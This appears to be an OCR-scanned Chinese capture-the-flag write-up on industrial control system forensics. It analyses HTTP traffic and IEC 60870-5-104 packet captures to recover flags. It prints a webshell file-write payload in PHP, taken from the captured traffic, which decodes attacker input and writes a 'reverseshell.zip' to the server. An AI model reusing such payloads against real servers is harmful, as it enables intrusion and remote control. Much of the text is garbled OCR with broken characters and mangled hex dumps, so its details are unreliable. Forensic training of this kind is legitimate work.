lllmt‘l“M‘ﬂ"ﬂ!ﬂ!'P!IIﬂml“D(lwlﬂ‘I?Jlm)‘l‘mWCIMK‘MNMW‘M’MWW’I“ﬂ!»ﬂHND
AFSE] BT VOULETBOMIAL I JASE EDRAFBC TFSTATAS KIAT 1 0AE ESSSEASABIES T 4 MO BE RG4S 16 164 D Mo 5L 01 554 ESIF ALY
TLAZOBROTH 1 D64 1 181 FEFADTSASER TA426E IPEA6 70 FA431 SEATSH 21 TR0 I5E S 1EAT BAS TRASE T TA N NOAAR TEHGE B 1AL P01 FHC U3 00T
1657 DTG0 TAMNEF DEDOSS 52605 T 14405 POGAATL SO A5 I 1 %4 3850S7HL 5 TPEDOTIF 17194 I0CDE R E N3 TR1DE PAZ 19450 IESBE1DLATISE
FATBEISEIAIELAR] T TBCEF 162406EICF | BERIF 2538548 0E0F 6 BALF 5958601 JETFFES THSBE0CEF A9 BM6A011 STRAL BAFC 1439F 9 XL ES00E L EL EBA 1| 6OSEASEFDEIBGS THIE TERIDH2I0L2E8
SOEPI0CA PSEF FL TF636.36E 283479190 210918 741 6 7985 1F 2897 DOOCF E 2660040 1F 57007 J0FBASSCEAGZITISARA
Pl SRR S EAR PR ey, SRS,
B o bap -] ERRESONG BT

HBidbaseb4fBZ I ME LW T, postZHiz1ES:



@ini_set("display_errors","0"); @set_time_limit(0); if(PHP_VERSION<'5.3.0") {@set_magic_quotes_runtime(0);};
echo("X@Y"); $f='C:\\phpStud\WWW\\uploads\\reverseshell.zip'; $c=$ POST["z1"]; $c=str_replace("\r","",$c);
$c=str_replace("\n","",$c); $buf=""; for($i=0;$i<strlen($c);$i+=2) $buf.=urldecode('%'.substr($c,$i,2));
echo(@fwrite(fopen($f,'w'),$buf)?'1':'0");; echo("X@Y"); die();

3. BMAFERRER, RUNFE2NMRER

LB UBLLCEAIr  A¥4. 100,10 200 s 4000 1em . cma e Sr3 swer e 0o pran, Aue) aeg=33a
210011292465  192.168.179. 245 192 168. 179 346 e 54 B0 -« SO0OT [ACK] Seqe1038 Ack
220011203471 103.168. 079,348 102.168.179. 345 TCR AT191 50007 o BB [ACK] Seqe4207 Ack
230811293422 192.168.179. 246 192168170245 647 SOROT = B [PSH, ACK] Seq-566
2O BI1II00ARS 192,168,079, 245 182,168,179, 346 TR S B - SO00T [ACK] Seqel008 Ack
5@, @11F00TTH 192,068,079, 248 192,168,179, 245 Hre S06 POST Sfuploads/security. phy W
@ RILINIITR 192,068,079, 245 192,168,179, 246 Hrme MIWTTRS1.1 30 ok (text/htal)
27 0.011313390 192,168,179, 248 192.108.179, 245 e GO SO00T + B3 [ACK] Seqer107 Ack

[checksus status: unwerified]
urgent pointer: @

5 [SEQUALE analysis)

s [Vimastamps ]
TER payload (1388 bytes)
[Beassembled Piu in frase: 35]
TCP segment data (1468 bytes)

[ee36 @3 fb 99 7F oo 08

4. K ERBEEEH BHD, REArarsC .

© HxD - [FAREES)

A Zir wEE) WMES) HWV SWA BN BOW E=FW

@ H|@d 216 [ ans o] | iz

i TEs

Offsec (h)

00000000 52 61 72 21 1A 07 00 CF 90 73 00 00 OD 00 00 00 Rar! I.s -
00000010 OO0 OO0 00 00 FA 82 74 24 &4 51 00 EO 51 00 00 38 voll, T57Q.4Q. .9
00000020 S4 00 00 02 84 D6 CB BO E8 B3 S1 S1 1D 33 24 00 T....0B"&'0Q0.35.
00000030 20 00 00 00 €3 35 32 36 €5 62 38 €6 €2 €6 30 39 . +c526eb8IbL0S
00000040 31 62 37 €4 €2 62 35 €5 33 65 34 €1 €1 30 €2 62 1b7dbbSe3edaalbb
00000050 31 63 38 €2 2E 70 €E 67 eC 3D 97 €D AD 58 23 32 lc8b.pngl=—m.X#2
00000060 OO0 BO 79 F8 OB 1C 8C 81 F7 43 3E 4% 2B 76 €3 03 .%ye..E.=C>I+ve.
00000070 4C CF 18 74 37 35 71 DC F9 96 BO C9% 75 2D 4E BD LI.t7sqlu u- P
00000080 DS AE ES8 AB D2 BC DO 06 1D A7 C4 S0 Cl A2 DS %2 Ubéwuid..SA.AcO"
00000090 €4 AC F9 F3 FC 31 C9 21 56 40 SA 98 8D 1C 93 04 d-OGSULE!VRZ®..™,
Q00000RO BL &7 OB 13 CE 96 30 €B B8 FD 87 OC 21 10 04 EE -0k, y#.0..1
nnnnnnnn - - -~ - - - e e - - — - - e - - - -l B e _

5. ffIE4E R EE
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6. B LUE B E 466 B 1S4 c526eb8fbf091b7dbb5e3e4aalbb1c8b.png
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7. R/ OBERD—KE R, KARL_%H, HERFHD.

8. MANO10% 4%, BB R/ mE2574500, BEE B 44L& .



Hame Value Start Size Coler

9. L5 2lflag

Comment

¥R

H{30%) |

12 &

> B

g H
4

ERBEHIE

{4 B8 :(210.3,166.9)-(464.0,167.0)-(210.2,420.7)-(464 2,420 6)

BEIEE E#
heE: 3
HEFEH WD
AE:

fag{Jxct_ICS_zip_zip)

flag: flag{Jxciit_ICS_zip_zip}

## address



1. BB R,

1047BEALNE

BEX % Typeld

A%

B

Hudik: Addr
fRttitk: 10A

v IEC 6@870-5-184-Apci: <- I (9,0)
START
Apdulen: 14
Type: 1 (@xea)
Tx: @
Rx: @

v IEC 60870-5-1084-Asdu: ASDU=18 C_IC_NA 1 Act
B... .... = 50: False
.000 8021 = Numlx: 1
..08 8110 = CauseTx: Act (6)
.B.. .... = Negative: False
. RN = Test: False
QA: 8

v TOA:

I0A: 8

QOI: Station interrcgation (gleobal) (20)

2. TR ESM, 104 IR ER

IOA=@ ‘interrogation command’

M 104 peapng

WRF AEE SN BMG) MR G @S s o IRM s

dm ;8 TREQe«EFL2 0 E 08T

T T N ——

™ Tan Sourve Destinatlon Protocol Lemgth 1nds

1 2032.278717 1721695148 173.16.95.131 TEC GOB70-5-104 60 < U (STARTOT act)
21 22.279118 172.16.95.131 172.16.55, 148 IEC EOE7E-5-184 &0 -> U (STARTDT con)
27 43.251764 172.16.95.131 172.16.95,. 140 TEC EORTE-5- 104 &) - U (TESTFR act})
28 43, 261144 172.16.95. 148 172.16.95.131 IEC S87a-5-104 & €- U (TESTFR con)
32 49. 375422 172.16.95.148 172.16.95.131 IEC GOE78-5 ASDU 76 <= 1 (@,8) ASDUSS C_SC_MA_1
33 45, 36844 172.16.95.131 172.16. 95,140 IEC GOBTO-5 ASDU - 1 (@,0) ASUSD C_SC WAL
5 49, 486202 172.16.95.148 172.16.95.131 IEC BOBTO-5 ASDU T8 €- 1 (1,1) ASDU=S C_5C_WA_1
36 49, 487443 172.16.95.131 172.16.95, 140 IEC EGE70-5 ASDU 76 -> I (1,2) ASDU=B C_SC_HA_1

€

|+ Frame 28: &8 bytes on wire (438 bits), &8 bytes captured (483 bits) on interface venets, id @
Ethernet 11, Src: Viware 62:dciad (80:0c:29:62:idciad), Dst: Veware S0:FI:1R (@0:0c:20:50:F111R)

Internet Protocol version 4, Sre: 172,16.9%.140, Dst: 172.16.95.131

|~ IEC G0BTO-5-184: <- U (STARTDT act)
| START
Apduben: 4
...... 11 = Type: U (@203}
200 81.. = UType: STARTDT act (omdl)

| » Transaission control Protocol, Src Port: 39256, Dst Port: 2404, Soq: 1, Ack: 1, Lem: 6

3. WHHIER, KMASDUFELHME, HFASDU=0&% . ASDURIZAdrifIE.
% #laddrBtiec60870_asdu.addr, XfaddritiTi#i%k.

iec60870_asdu.addr==



iy Q== ET LT Eaqan
18cH0BT0_asdu. addr==n

Seurce Destination Fratocal Length
I 3249.325422  172.16.95.140 172.16.95.131 1EC 6O870-5 ASDU -
33 49.326844 172.16.95.131 172.16.95.148 IEC Gog7e-5 ASDU
35 49.486282 172.16.95. 148 172.16.95.131 IEC 6OE78-5 ASDU
36 49.487443 172.16.95.131 172.16.95.148 1IEC 68878-5 ASDU
38 49.633239 172.16.95,148 172.16.95.131 IEC Gag7e-5 ASDU
39 49, 639284 172.16.95.131 172.16.95.148 IEC GO876-5 ASDU
41 49, 783659 172.16.95. 140 172.16.95.131 IEC Gog7e-5 ASDU
42 49,784995 172.16.95.131 172.16.95.148 IEC 68878-5 ASDU

£

w IEC GR878-5-101/184 ASDU: ASDU=0 C_SC_MA_1 Act I0A=8 ‘single command’
TypeId: C_SC_NA_1 (45)
Burs wane = 50 False
LOR0 8001 = HumlIx: 1
.89 9110 = CauseTx: act (6€)
WBa. v... = Megative: False
Bass seas = Test: False

RAFEBOHERS, REMEREKAGTHER.

4. BETikiec60870_asdu.addr!=0, K L R IH £ (ASDU=4) iec60870_asdu.addr==4KjH &M . &3t

HIOMAEL.

SesumFSEEAacE

Source Dewtination Protacs] Langth Info

| 3e797.945828  172.16.95.140 172.16.95.131 IEC 6E78-5 ASDU B - B <- 1 (93,93) ASDUsa €5
358 97. 947389 172.16.95.131 172.16.95. 148 IEC &0278-5% ASDU 7 -> 1 (93,94) ASOU=4 C_5
654 158, 114423 172.16.95. 140 172, 16.95.131 TEC 60a70-5 ASDU M- 1 (149,149) ASDU=4 C
655 158,115037 172.16.95.131 172.16.95. 140 TEC 60870-5 ASDU 70 -x I (149,150) ASDU=A C
GEG 164, 381893 173.16.9%. 148 172.16.95.131 IEC GRETR-% ASDU ™<= 1 (152,150) ASDU=4 C
G6T 164, 383360 172.16.95.131 172.16.95. 140 IEC 60870-5 ASDU M- 1 (150,151) ASDU=4 C
966 225, 740367 172.16.95. 140 172.16.95.131 TEC 60870-5 ASDU M0 <~ T (221,221) ASDU=A

| P6T 215.741684 172.16.95.131 172.16.95. 140 TEC E9870-5 ASDU 7@ -x I (221,322) ASDU=A C

<

~ IEC 60E70-5-100/184 ASDU: ASDU=4 C_SC_NA_1 Act 1040 ‘single command’

Typeld: ¢_SC_WA_L (4%)
@err e = 501 False

D00 BARL = NumIN! 1

B0 P13 = CouseTx: Act (&)
Bas wae. = Negative: False
B..o cao. = Test: False

oA 8

addr: & f

MEHEE, KPactBEEME —NFR, WRATAactl, KIHBGER Aflag.

Amg "RE QeSS TEZaaan

N et as = — — —

™ Ting Simd Destination Protocel Length 1eda

| w7 97,4598 172,16.,95. 140 172.16.95.131 TEC 609705 ASOU P0<- 1 (90,90) ASDURA C_SC_IA_
388 97.947389 172,16,9%,131 172.16,55. 140 1EC GOE7O-5 ASOU 70 -3 1 (93,54) ASDU=3 €_SC_HA_
654 158.114423  172.16.95. 140 172.16.95.131 1EC 66878-5 ASDU 70 <= 1 (149,149} ASDU=4 C_SC_|
&55 158, 115037 172, 06.05. 131 A72.16.95. 140 TEC GOETO-5 ASDU T -x T (149,150) ASDU=4 C_SC_M
60 164, 381893 172, 16,95, 140 172.16.95.131 IEC GRETH-5 ASDU oo 1 (15%0,150) ASDU=s C_SC_N
667 164.383368  172.16.95.131 172.16.95. 140 1EC 60870-5 ASDU 76 -3 I (158,151} ASOUs4 C_SC_M
P66 225, MDIET 172,96, 95, 149 172.16.95.131 TEC GRETR-5 ASDU T - T (221,221) ASDU=A C_SC M
SHT 235, 141604 172.16.9%.131 172.16.95, 148 1EC GRETH-5 ASDU T o-x 1 {221,223) ASDU=4 € 50 N

Do woe = Test: False

[

Addr: 4

= T0A: @
104: @

SO0 Bu66
ceee woo® o= OWFOFF: OFf
S8 L. = QU UnkacwWn [29)
i « = 5/E: Execute

GO0 DO 0¢ 29 59 €3 18 @0 OC 29 62 dc a8
B0 32 19 ¢4 40 O0 B0 06 9 sb s 10
G02n 5K B3 76 30 09 64 5 16 bf 96 78 fa
P03 20 14 fé db 0 00 &8 ¢ ba 20 ba
vaan o4 o0 o0 o0 oo @R

5. dks:fEikactE 7B, iec60870 asdu.causetx==act, % Hiflagh:

R



dm & RE Qe=E§s

N Lectonms_nads addri=o & |
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